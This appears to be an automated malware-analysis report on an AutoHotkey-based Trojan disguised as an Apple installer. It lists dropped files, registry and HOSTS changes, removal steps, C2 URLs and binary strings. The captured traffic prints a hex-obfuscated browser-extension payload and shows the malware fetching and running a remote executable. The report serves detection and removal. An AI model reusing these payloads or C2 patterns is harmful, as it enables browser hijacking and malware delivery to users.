%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\king.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ninddnnafpmmdlnbjcbcccfijdgkndkb\king.js (3 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\resources.pak (43124 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.pak (4545 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll (15116 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.pak (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences (73 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll (10 bytes)
%System%\drivers\etc\hosts (394 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\icudt.dll (76505 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome_100_percent.pak (7345 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.pak (1281 bytes)
%Documents and Settings%\%current user%\Desktop\Google Chrome.lnk (791 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (1333 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome.dll (360605 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll (113356 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.dll (10 bytes)
%Program Files%\Google\Chrome\Application\chrome.exe (5889 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\arsiv.exe (6603689 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Google Charles" = "%Documents and Settings%\%current user%\Application Data\Charles.exe"
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Apple Inc.
Product Name:
Product Version:
Legal Copyright: Apple Inc.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 9.1.2
File Description: Apple Inc. 9.1.2 Installation
Comments:
Language: English (United States)

Company Name: Apple Inc.Product Name: Product Version: Legal Copyright: Apple Inc. Legal Trademarks: Original Filename: Internal Name: File Version: 9.1.2 File Description: Apple Inc. 9.1.2 Installation Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	362198	362496	4.62615	06fb96e5de678ab3654b8cba9be7b4b3
.rdata	368640	42792	43008	3.73288	a86a7956fff826cfae8192f9e4d6248d
.data	413696	31396	8192	2.70063	f9f09007f34890bdde82a8b299b3f02b
.rsrc	446464	110592	108544	3.42279	9b32f4f57cc42c3193e35e77066cb52d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://filmverme.com/ahk/ok.txt
hxxp://filmverme.com/ahk/req.php?type=update_hash
hxxp://filmverme.com/ahk/req.php?type=js
hxxp://filmverme.com/ahk/req.php?type=key
hxxp://filmverme.com/ahk/req.php?type=arsiv_hash
hxxp://filmverme.com/ahk/req.php?type=arsiv_link
hxxp://storage.l.googleusercontent.com/aytacs/app.exe
hxxp://www.filmverme.com:80/ahk/req.php?type=arsiv_link	178.62.183.178
hxxp://www.filmverme.com/ahk/req.php?type=key	178.62.183.178
hxxp://www.filmverme.com/ahk/ok.txt	178.62.183.178
hxxp://storage.googleapis.com:80/aytacs/app.exe	173.194.71.128
hxxp://www.filmverme.com/ahk/req.php?type=js	178.62.183.178
hxxp://www.filmverme.com/ahk/req.php?type=update_hash	178.62.183.178
hxxp://www.filmverme.com/ahk/req.php?type=arsiv_hash	178.62.183.178
www.google.com	173.194.113.210

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /ahk/ok.txt HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 27 Aug 2015 11:10:06 GMT

Content-Type: text/plain

Content-Length: 9

Last-Modified: Thu, 16 Jul 2015 23:07:29 GMT

Connection: keep-alive

ETag: "55a83931-9"

Accept-Ranges: bytes

Server_ok....

GET /ahk/req.php?type=update_hash HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 27 Aug 2015 11:10:07 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.27

0......

GET /ahk/req.php?type=js HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 27 Aug 2015 11:10:07 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.27

c26..var _0xb4a6=["\x75\x72\x6C","\x6C\x65\x6E\x67\x74\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x3C\x61\x6C\x6C\x5F\x75\x72\x6C\x73\x3E","\x62\x6C\x6F\x63\x6B\x69\x6E\x67","\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72","\x6F\x6E\x42\x65\x66\x6F\x72\x65\x52\x65\x71\x75\x65\x73\x74","\x77\x65\x62\x52\x65\x71\x75\x65\x73\x74","\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E","\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x63\x68\x72\x6F\x6D\x65\x2F\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E","\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x73\x65\x74\x74\x69\x6E\x67\x73\x2F\x72\x65\x73\x65\x74\x50\x72\x6F\x66\x69\x6C\x65\x53\x65\x74\x74\x69\x6E\x67\x73","\x6F\x70\x65\x72\x61\x3A\x2F\x2F\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E\x73\x2F","\x63\x68\x72\x6F\x6D\x65\x3A\x2F\x2F\x68\x65\x6C\x70\x2F","\x69\x64","\x72\x65\x6D\x6F\x76\x65","\x74\x61\x62\x73","\x6F\x6E\x55\x70\x64\x61\x74\x65\x64","\x63\x73\x70","\x73\x65\x6E\x64","\x47\x45\x54","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x69\x6C\x6D\x76\x65\x72\x2E\x63\x6F\x6D\x2F\x61\x68\x6B\x2F\x75\x73\x65\x72\x2E\x70\x68\x70","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x64\x65\x76\x74\x6F\x6F\x6C\x73\x3A\x2F\x2F","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74","\x67\x65\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x69\x6C\x6D\x76\x65\x72\x2E\x63\x6F\x6D\x2F\x61\x68\x6B\x2F\x67\x65\x74\x2E\x6A\x73\x3F\x63\x61\x63\

<<< skipped >>>

GET /ahk/req.php?type=key HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 27 Aug 2015 11:10:07 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.27

f9..ninddnnafpmmdlnbjcbcccfijdgkndkb#MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLNwlprpYytU45kMXkfKR4ncGNk RWoqLNY7Nf4PTtXxwefnF173RZwrAkwx3nxP7ps8N9pOw87yOhkxB92VHUENYlIB6vVjQEsM7r7YLKKgzrYISEaFd3QzlqgxEXMAwWk2gcho8Wcho9k4gUDvf7f4kt7nOZcduZOmfM2BvTmwIDAQAB..0......

GET /ahk/req.php?type=arsiv_hash HTTP/1.1

User-Agent: AutoHotkey

Host: VVV.filmverme.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 27 Aug 2015 11:10:07 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.27

20..0c4950e06182df940d3e841551aa4378..0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 27 Aug 2015 11:10:07 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.5.27..20..0c4950e06182df940d3e841551aa4378..0..

GET /aytacs/app.exe HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: storage.googleapis.com:80

Accept: */*

HTTP/1.0 200 OK

X-GUploader-UploadID: AEnB2Uq3uwKtN16iMEjAmajNnUDbzNPqHG5zG8qsQ0HA6oLc63Dxv9WT5DzHKT3p0U4fRYnWBJaZ3lAsTwVLsTnU6rhmOcTtIw

Expires: Thu, 27 Aug 2015 12:10:08 GMT

Date: Thu, 27 Aug 2015 11:10:08 GMT

Cache-Control: public, max-age=3600

Last-Modified: Thu, 16 Jul 2015 23:17:01 GMT

ETag: "0c4950e06182df940d3e841551aa4378"

x-goog-generation: 1437088621228000

x-goog-metageneration: 2

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 31990778

Content-Type: application/x-msdownload

x-goog-hash: crc32c=B4o4lw==

x-goog-hash: md5=DElQ4GGC35QNPoQVUapDeA==

x-goog-storage-class: STANDARD

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Length: 31990778

Server: UploadServer

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........f..{5..{5..{5...5..{5..z5(.{5...5..{5...5..{5...5..{5...5..{5...5..{5...5..{5Rich..{5........PE..L...Yj>O.....................d...............0....@..................................................................K..3...L<...........@...........................2...............................................0...............................text...2........................... ..`.rdata..5....0......."..............@..@.data....V...P.......@..............@....CRT.................B..............@..@.rsrc....@.......B...D..............@..@..................................................................................................................................................................................................................................................................................................................................................................@s... s........................................D$..L$....L$.u..D$......S.....D$..d$....D$.....[...............WVS3..D$...}.G.T$.........D$..T$..D$...}.G.T$.........D$..T$...u..L$..D$.3......D$......A...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N3...Ou........[^_.........WVU3.3..D$...}.GE.T$.........D$..T$..D$...}.G.T$.........D$..T$...u(.L$..D$.3......D$........d$......d$....G...L$..T$..D$...........u......d$....D$.....r.;T$.w.r.;D$.v.N D$..T$.3. D$..T$.My..................Ou........]

<<< skipped >>>

GET /ahk/req.php?type=arsiv_link HTTP/1.0

User-Agent: Wget/1.5.3.1

Host: VVV.filmverme.com:80

Accept: */*

HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Thu, 27 Aug 2015 11:10:07 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.27

Location: hXXp://storage.googleapis.com/aytacs/app.exe

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Charles.exe_556:

.text

`.rdata

@.data

.rsrc

YYu.Pj

!"#$%%&'())* ,-./0123456789:;

VSSSh

E`SSh

SSSSSSSh

urSSSh

WSSSh

zSSShX

t*SSh

t3SSSh

VWumh0%F

u.hL%F

It.It

SSSSh

tASSSh

udPS

uÃŠ;MP|

!!!!!!""#$%&'(((((())* ,-.CCCCCCCC//C01234445656789:;9:;CCC?@AB

AutoHotkey

AppsKey

ListHotkeys

KeyHistory

DetectHiddenWindows

SetKeyDelay

Hotkey

KeyWait

GetKeyState

URLDownloadToFile

MsgBox

IfMsgBox

AHK Keybd

X X

NOTE: To disable the key history shown below, add the line "#KeyHistory 0" anywhere in the script. The same method can be used to change the size of the history buffer. For example: #KeyHistory 100 (Default is 40, Max is 500)

The oldest are listed first. VK=Virtual Key, SC=Scan Code, Elapsed=Seconds since the previous event. Types: h=Hook Hotkey, s=Suppressed (blocked), i=Ignored because it was generated by an AHK script, a=Artificial, #=Disabled via #IfWinActive/Exist.

NOTE: Only the script's own keyboard events are shown

(not the user's), because the keyboard hook isn't installed.

Modifiers (Hook's Logical) = %s

Modifiers (Hook's Physical) = %s

Prefix key is down: %s

OWarning: The keyboard and/or mouse hook could not be activated; some parts of the script will not function.

"%s" is not a valid key name. The current thread will exit.

"%s" is not allowed as a prefix key.

%u hotkeys have been received in the last %ums.

(see #MaxHotkeysPerInterval in the help file)

Max hotkeys.

The AltTab hotkey "%s" must have exactly one modifier/prefix.

The AltTab hotkey "%s" must specify which key (L or R).

Nonexistent hotkey variant (IfWin). The current thread will exit.

Nonexistent hotkey. The current thread will exit.

SCx

A%s[%u of %u]: %-1.60s%s

: -*.|&^/

HKEY_USERS

HKEY_CURRENT_USER

HKEY_CURRENT_CONFIG

HKEY_CLASSES_ROOT

HKEY_LOCAL_MACHINE

%s\%s

=/|^,:*&~!() -"'\;`{}

timesincepriorhotkey

timesincethishotkey

priorhotkey

thishotkey

subkey

keydelay

detecthiddenwindows

%s%s%s

if %s %s %s and %s

%s%s %s %s

MbP?u:

%sGlobal Variables (alphabetical)%s

Local Variables for %s()%s

Key History has been disabled via #KeyHistory 0.

Window: %s

Keybd hook: %s

Mouse hook: %s

Enabled Timers: %u of %u (%s)

Interrupted threads: %d%s

Paused threads: %d of %d (%d layers)

Modifiers (GetKeyState() now) = %s

AutoHotkey2

%%%s%s%s

Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after it is in parentheses to the right (if not 0). The bottommost line's elapsed time is the number of seconds since it executed.

Critical Error: %s

Specifically: %-1.100s%s

%s%s: %-1.500s

in #include file "%s"

Specifically: %s

%s (%d) : ==> %s

Line Text: %-1.100s%s

Error at line %u

Action: %s

Params:

Verb:

.hta"

.cmd"

.com"

.bat"

.exe"

%s %s

System verbs unsupported with RunAs. The current thread will exit.

#KeyHistory

#MaxThreadsPerHotkey

#MaxHotkeysPerInterval

#HotkeyInterval

#HotkeyModifierTimeout

#InstallKeybdHook

=/|^,:*&~!() -

Too many parameters passed to function.

Too few parameters passed to function.

Caller must pass a variable to this ByRef parameter.

/|^,*&~!. -"

Unsupported parameter default.

=/|^,:*&~!()"

"%s" requires that parameter #%u be non-blank.

"%s" requires at least %d parameter%s.

Invalid hotkey.

=/|^,:*&~!() -".

Unsupported static initializer.

Could not extract script from EXE.

Duplicate hotkey.

Hotkeys/hotstrings are not allowed inside functions.

{Blind}{%s Up}

*%s::

*%s up::

{Blind}%s%s{%s DownTemp}

if not GetKeyState("%s")

Note: The hotkey %s will not be active because it does not exist in the current keyboard layout.

=/|^,:

=/|^,:. -*&!?~

Join

>AUTOHOTKEY SCRIPT

EndKey:

SOFTWARE\AutoHotkey

\\.\%c:

\\.\vwin32

open "%s" alias AHK_PlayMe

All Files (*.*)

Text Documents (*.txt)

*.txt

%s%c%sÃŠll Files (*.*)%c*.*%c

Select File - %s

1.0.48.05

\AutoHotkey.exe

WIN32_WINDOWS

.DEFAULT\Control Panel\Desktop\ResourceLocale

SOFTWARE\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Compile error %d at offset %d: %s

%sBottom

%sRight

%sTop

%sLeft

0xX

Could not open URL hXXp://VVV.autohotkey.com in default browser.

hXXp://VVV.autohotkey.com

hh.exe

%sAutoHotkey.chm"

\AutoHotkey.chm"

%sAU3_Spy.exe"

\AU3_Spy.exe"

set cd door %s wait

open %s type cdaudio alias cd wait shareable

set cdaudio door %s wait

Component Doesn't Support This Control Type

Mixer Doesn't Support This Component Type

0xX

Mb@AAutoHotkey v1.0.48.05

Len%d

Pos%d

Len%s

Pos%s

0.0.0.0

InternetOpenUrlA

Select Folder - %s

%u.%u.%u.%u

RunAs: Missing advapi32.dll. The current thread will exit.

%dGui

vkX

AutoHotkeyGUI

Password

Report

msctls_hotkey32

Button%s

&Suspend Hotkeys

Supported only for the tray menu The current thread will exit.

dddddd

dA\\?\

GdiplusShutdown

The following %s name contains an illegal character:

"%-1.300s"%s

The maximum number of MsgBoxes has been reached.

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

mscoree.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

WSOCK32.dll

WINMM.dll

VERSION.dll

COMCTL32.dll

GetWindowsDirectoryA

KERNEL32.dll

GetKeyboardLayout

UnhookWindowsHookEx

SetWindowsHookExA

RegisterHotKey

UnregisterHotKey

SetKeyboardState

GetKeyboardState

VkKeyScanExA

MapVirtualKeyA

GetAsyncKeyState

GetKeyNameTextA

keybd_event

EnumChildWindows

EnumWindows

ExitWindowsEx

USER32.dll

GDI32.dll

comdlg32.dll

RegCloseKey

RegEnumKeyExA

RegQueryInfoKeyA

RegOpenKeyExA

RegCreateKeyExA

RegDeleteKeyA

ADVAPI32.dll

ShellExecuteExA

SHFileOperationA

SHELL32.dll

ole32.dll

OLEAUT32.dll

GetCPInfo

-()[]{}:;'"/\,.?!

zcÃ

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data\Charles.exe

jjjÃD

3336444

5559777

;;;(666{000

SSS.VVV

version="1.0.48.05"

name="Microsoft.Windows.AutoHotkey"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

&Lines most recently executed

&Hotkeys and their methods

&Key history and script info

&Web Site

Apple Inc. 9.1.2 Installation

9.1.2